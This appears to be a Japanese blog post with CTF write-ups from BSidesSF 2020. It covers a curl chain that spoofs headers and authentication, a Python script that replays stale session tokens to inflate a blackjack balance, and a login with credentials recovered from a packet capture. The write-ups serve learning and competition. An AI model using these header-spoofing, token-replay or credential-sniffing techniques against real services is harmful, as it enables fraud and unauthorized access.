st98 の日記帳


[ctf] BSidesSF 2020 CTF の write-up

2 月 24 日から 2 月 25 日にかけて開催された BSidesSF 2020 CTF に、チーム perfect blue として参加しました。最終的にチームで 11181 点を獲得し、順位は 1 点以上得点した 175 チーム中 1 位でした。うち、私は 4 問を解いて 940 点を入れました。

以下、私が解いた問題の write-up です。

[Web 96] hurdles (21 solves)

You think you know your web?

https://hurdles-0afa81d6.challenges.bsidessf.net

(author: matir)

与えられた URL にアクセスしてみましょう。

$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/
You'll be rewarded with a flag if you can make it over some /hurdles.

/hurdles にアクセスしてみましょう。

$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles
I'm sorry, I was expecting the PUT Method.

PUT メソッドでないとダメなようです。

$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles -X PUT
I'm sorry, Your path would be more exciting if it ended in !

パスが ! で終わっていないとダメなようです。/hurdles! はダメなようですが /hurdles/! ならどうでしょう。

$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles! -X PUT
You'll be rewarded with a flag if you can make it over some /hurdles.
$ curl https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles/! -X PUT
I'm sorry, Your URL did not ask to `get` the `flag` in its query string.

GET パラメータに何か仕込めばよいようです。getflag がバッククォートで囲まれているので、get=flag を付与してみましょう。

$ curl 'https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag' -X PUT
I'm sorry, I was looking for a parameter named &=&=&

今度は &=&=& を GET パラメータに仕込めばよさそうですが、このままでは & が GET パラメータの区切り文字として解釈されてしまいます。パーセントエンコードしてみましょう。

$ curl 'https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=test' -X PUT
I'm sorry, I expected '&=&=&' to equal '%00
'

&=&=&%00(改行) と等しければよいようです。% と改行文字をパーセントエンコードしましょう。

$ curl 'https://hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT
I'm sorry, Basically, I was expecting the username player.

Basically と言っているので BASIC 認証でしょう。

$ curl 'https://player:test@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT
I'm sorry, Basically, I was expecting the password of the hex representation of the md5 of the string 'open sesame'

パスワードを open sesame の MD5 ハッシュである 54ef36ec71201fdf9d1423fd26f97f6b に変えましょう。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT
I'm sorry, I was expecting you to be using a 1337 Browser.

1337 Browser というブラウザからアクセスしたことにすればよいようです。ユーザエージェントをいじりましょう。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser"
I'm sorry, I was expecting your browser version (v.XXXX) to be over 9000!

バージョン 9000 以降でないとダメなようです。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001"
I'm sorry, I was expecting this to be forwarded through 127.0.0.1

127.0.0.1 から転送されてきたように見せかければよさそうです。X-Forwarded-For ヘッダを使いましょう。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 127.0.0.1,127.0.0.1"
I'm sorry, I was expecting the forwarding client to be 13.37.13.37

クライアントの IP アドレスが 13.37.13.37 でないとダメなようです。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1"
I'm sorry, I was expecting a Fortune Cookie

Fortune という Cookie を付与すればよいのでしょう。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=test"
I'm sorry, I was expecting the cookie to contain the number of the HTTP Cookie (State Management Mechanism) RFC from 2011.

HTTP Cookie (State Management Mechanism) RFC でググると RFC 6265 がそれだとわかりました。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265"
I'm sorry, I expect you to accept only plain text media (MIME) type.

プレーンテキストだけ受け付けるよう伝えればよさそうです。Accept ヘッダでしょう。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain"
I'm sorry, Я ожидал, что вы говорите по-русски.

今度はロシア語だけ受け付けるよう伝えればよさそうです。Accept-Language ヘッダでしょう。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain" -H "Accept-Language: ru"
I'm sorry, I was expecting to share resources with the origin https://ctf.bsidessf.net

取得元のオリジンが https://ctf.bsidessf.net であるよう伝えればよさそうです。Origin ヘッダでしょう。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain" -H "Accept-Language: ru" -H "Origin: https://ctf.bsidessf.net"
I'm sorry, I was expecting you would be refered by https://ctf.bsidessf.net/challenges?

https://ctf.bsidessf.net/challenges から訪問したよう見せかければよさそうです。Referer ヘッダを使いましょう。

$ curl 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X PUT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain" -H "Accept-Language: ru" -H "Origin: https://ctf.bsidessf.net" -H "Referer: https://ctf.bsidessf.net/challenges"
Congratulations!

Congratulations! と言われましたがフラグはどこでしょう。HTTP レスポンスヘッダを確認しましょう。

$ curl -I 'https://player:54ef36ec71201fdf9d1423fd26f97f6b@hurdles-0afa81d6.challenges.bsidessf.net/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -X P
UT -A "1337 Browser v.9001" -H "X-Forwarded-For: 13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept: text/plain" -H "Accept-Language: ru" -H "Origin: https://ctf.bsidessf.net" -H "Referer: https://ctf.bsidessf.net/challenges"
HTTP/2 200 
x-ctf-flag: CTF{I_have_been_expecting_U}
date: Tue, 25 Feb 2020 00:22:54 GMT
content-length: 16
content-type: text/plain; charset=utf-8
via: 1.1 google
alt-svc: clear

フラグが得られました。

CTF{I_have_been_expecting_U}

[Web 423] cards (7 solves)

San Francisco has the occasional underground card room. Can you run the table in this game?

https://cards-d38741c8.challenges.bsidessf.net

(author: Matir)

ブラックジャックが遊べる Web アプリケーションのようです。

ルールによると、どうやら $1000 を原資に $100000 を稼ぐことができればフラグが得られるようです。また、賭け金は $10 から $500 までのようです。

実装を確認しましょう。

(function() {
  var sessionState;
  var config;
  var allDisabled = false;

  // Retrieve sessionState on load
  $.post('/api', function(data) {
    sessionState = JSON.parse(data);
    updateSession();
  });



  // Helper function to make requests
  var makeRequest = function(method, data, success, failure) {
    allDisabled = true;
    updateButtons();
    data['SecretState'] = sessionState['SecretState'];
    var successHandler = function(result) {
      sessionState = result;
      if (success !== undefined)
        success(sessionState);
    };
    var failureHandler = function(jqXHR, textStatus) {
      if (textStatus == "error") {
        var message = 'Unknown error';
        try {
          var body = JSON.parse(jqXHR.responseText);
          if (body['error'] != undefined && body['error'] != '')
            message = body['error'];
        } catch(e) { }
        showError(message);
      } else if(textStatus == "timeout") {
        showError('Network timeout, please try again.');
      }
      if (failure !== undefined)
        failure(jqXHR, textStatus);
    };
    $.ajax('/api/'+method, {
      contentType: 'application/json',
      data: JSON.stringify(data),
      dataType: 'json',
      error: failureHandler,
      success: successHandler,
      method: 'POST',
    });
  };



  var updateSession = function() {
    drawHands();
    allDisabled = false;
    $('#balanceAmount').text('$' + sessionState.Balance);
    updateButtons();
    $('#gameState').text(sessionState.GameState);
    if (sessionState.Flag != undefined && sessionState.Flag != '') {
      $('#flag-text').text(sessionState.Flag);
      $('#flag').show();
    }
  };


})();

data['SecretState'] = sessionState['SecretState']; のような処理を見るにセッションの管理は SecretState で行われているようです。これは /api を叩くと発行される 16 進数の値で、ヒットやスタンドなど何らかの行動を起こすと新しいものが発行されるようです。

SecretState を改ざんできないか試してみます。DevTools で updateSession() など適当なところにブレークポイントを置いて、SecretState の末尾 1 バイトを変更してからゲームを始めようとしたところ Bad Request とサーバがエラーを返しました。

改ざんは (少なくともすぐには) できなさそうですが、再利用ならどうでしょう。その後の行動で負けて既に新しいものに更新されたはずの SecretState を、先ほどと同じ方法で代入してゲームを始めてみたところ、負ける前と同じ所持金に戻りました。これなら、ゲームに負ければ次の SecretState は負ける前のものを、勝てば新しく発行されたものを採用するということを繰り返せば所持金をどんどん増やすことができそうです。スクリプトを書きましょう。

import json
import requests

URL = 'https://cards-d38741c8.challenges.bsidessf.net/api'
state = requests.post(URL).json()['SecretState']

while True:
  r = requests.post(URL + '/deal', data=json.dumps({
    'Bet': 500,
    'SecretState': state
  })).json()

  if r['GameState'] == 'Blackjack':
    state = r['SecretState']

  print(r)

実行します。

$ python3 solve.py
︙
{'SecretState': 'bedd4426960ec3ae9b3d07480e277ff97b550cb257888140983f47814360753c5fd78d237968c2d49ad20ef37a57cb60e08ec04808d6a9b8f046916b8865aa6254b413e1586be52f8aefb34f64c2436ff310ff5191376e98a62c784b5cbeff5f761ce5f7aa9f16e0617c76a75acfd32220b5b2f8932521c875c108d92402a4c54a640d9f33da21210e2a8e5a9592bd14a48b1c5147be101d720806bb2be02423a2f2b2628fddda783aa7501ad71d318a6b19491a73559bbeab8e02c5c0472023f51e150a9ecaf17e7153453d936c709ed56ad1216d0297b8c8784f94a223ab6ffac311a130776ff05390d9ceb1126f60411cad789aa867f7872e4887d0eeb2fc588b1156fb44f1fa31f9879270291224c37a11bc287cc455c04faef7d181b0291e56459a6cf7f89a37845647312d446c74c48632006e31bd50c01f022e8d8ae938f2cd8709399540e037d719d283e992566ec3e3d53268c0588419e60655b1fd87255084108b425c69bd012747db67d06a1e30c198049530d5bdc35ffeee129be6ecd5c30a38bfbdb7f88dd9be0a11a614ff42f58002e0a4b877900978ab6956f7bd015f14bf9e78f85ea06ad54b4f731d2f22da1e248fc55bb6984565d635f7549df3ae0f7dbce57a273630b7500af71816822fe2ba988ca07cd61300703400b685813fb653becb24e0cb433cf0c73745b1253f31250f78964115a95dbd9a852e25ba753be4d7cd6960c6392fb56ec6c41c7dd54e5fea1f57643aa2f24107e37f3d9cc2aae338f12ca668f1b35d0427fe1b96715b1429639547198cd5fcfdcd7c341937b2cb2d6c545678add3f683246cf2ce42f55d3c4cf84add352d7cc7e3452407974507cf9d0b0e6f75e7f082a54a0fa9916fda27433da88cc8d35d7b7dec87d7ce1e1e0266cab04f6c4c102e1c86778f46996463a9971d3d8b00146232b046896fa6d0a24a968e3e46ecde7a5b51f52566626a4a7cd214d2cfd47db463e6882f5479f2ed35e63fbb7ae35ce21353a9431c22e86c0f9bfed474556a7586401b3bc0ed35e55927caa1272d337625ea91c52b09f1d6ea65d3e341403fb8b4930febfb037083adfe02e8028051166149a05415e3a79e9efe21d31c323e480b25f46ebf29328cbd5a49eff06a7a92e569b0fb8a58ddf7f7a484d9f21819f426a4f30630302ebb6b8f33123b68b3e5eef9e3b1439d74a4f847588dbb8da4ae98767e74d6420ed7f124094805ba049b7f36b3345ef723bc9bfa4d46e8a6b50b3408f32c5bcf95a7f452238346482f2559c25baec8ae0b3648fcc9a34e5e6d050c1312c06db26aeb9215139c680274c78f54e2acb9988d6e848187b370f249797ba45297ac6154fd38414b9f6a078fc3033929bd974d806120d2bebb630717ee5386a4c12dcfd70d1c1e815bae0fe5c41c1105423a5d4014ca7e3402711ac142cde95a8eae3ce5abd7001e1b69fa002a04b7ad3a83808bfd239d684861524e87dd137a1889765571d8e9f21914f980071622ea3e1b4e61d6870dde8ab97688ba06921c61282f14ab4ddb9f8c24f269db7fdbc165d4a68b383873e1e0fc008c242c42b1baf0435d1cf430573fec0093f41362e37955adfef498343ef3f1aed2eaafcfe5b3c90891f78cca0d366efee21f3f1d204148578ece61a3f36020e33dfada41bf71401c758eaba7c6a9c56accef67df0c428f532e80979118370e776778bb27874d85b23b99950b2f73d219187dd665c496f1d16a3accfbfa35ba2e827ba4a205f944fe14b44cddfe58b9046e3ebc5ad79fcbf0374496f18c272b6d51', 'PlayerHand': [['Jack', 'Clubs'], ['King', 'Diamonds']], 'DealerHand': [['X', 'X'], ['8', 'Diamonds']], 'Balance': 100250, 'GameState': 'Playing', 'SessionState': 'Won', 'Bet': 500, 'Flag': 'CTF{time_travel_like_a_doctor}'}

しばらく待つとこのようにフラグが得られました。

CTF{time_travel_like_a_doctor}

[Web 401] bulls23 (8 solves)

Modern tunnels require old-school payloads!

bulls23-df80135a.challenges.bsidessf.net:8888

(author: itsC0rg1/mandatory)

添付ファイル: challenge.pcapng

与えられた pcapng ファイルを pcap に変換して NetworkMiner に投げると、次のような HTML が抽出できました。

<html>

    <head>
        <title>Telnet client using WebSockets</title>
        <script src="include/util.js"></script>
        <script src="include/websock.js"></script>
        <script src="include/webutil.js"></script> 
        <script src="include/keysym.js"></script> 
        <script src="include/VT100.js"></script> 
        <script src="include/wstelnet.js"></script> 
        <!-- Uncomment to activate firebug lite -->
        <!--
        <script type='text/javascript' 
            src='http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'></script>
        -->


    </head>

    <body>

        Host: <input id='host' style='width:100'>&nbsp;
        Port: <input id='port' style='width:50'>&nbsp;
        Encrypt: <input id='encrypt' type='checkbox'>&nbsp;
        <input id='connectButton' type='button' value='Connect' style='width:100px'
            onclick="connect();">&nbsp;

        <br><br>

        <pre id="terminal"></pre>

        <script>
            var telnet;



            window.onload = function() {
                console.log("onload");
                var url = document.location.href;
                $D('host').value = (url.match(/host=([^&#]*)/) || ['',''])[1];
                $D('port').value = (url.match(/port=([^&#]*)/) || ['',''])[1];
                
                telnet = Telnet('terminal', connected, disconnected);
            }
        </script>

    </body>

</html>

Telnet over WebSocket 的なもののクライアントのようです。問題文で与えられていたホストとポート番号に HTTP でアクセスすると Server: WebSockify Python/3.6.9 という HTTP レスポンスヘッダを返すことから、このクライアントで接続すればよいのでしょう。やってみましょう。

Ubuntu 18.04.3 LTS                                                              
bulls23-5845b77bc5-5dcc6 login:

ログイン画面が表示されましたが、ユーザ名とパスワードがわからなければ何もできません。このクライアントを使った通信が、与えられた pcapng ファイルに記録されていないか、Wireshark で開いて websocket というフィルターを適用してパケットを眺めます。unmask されたデータを見ていくと、以下のような入力が見つかりました。

michaeljordan
ib3atm0nstar5

前者がユーザ名、後者がパスワードでしょう。もう一度先ほどのように問題文で与えられたホストとポート番号にクライアントを使って接続し、これらを入力します。

Ubuntu 18.04.3 LTS                                                              
bulls23-5845b77bc5-bg2qq login: michaeljordan                                   
Password:                                                                       
Last login: Mon Feb 24 21:09:41 UTC 2020 from localhost on pts/0                
Welcome, the key is CTF{TELNET_NO_LIES}                                         
This account is currently not available. 

フラグが得られました。

CTF{TELNET_NO_LIES}

[Misc 20] Hack The __! (12 solves)

Hack The __!

Planet
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳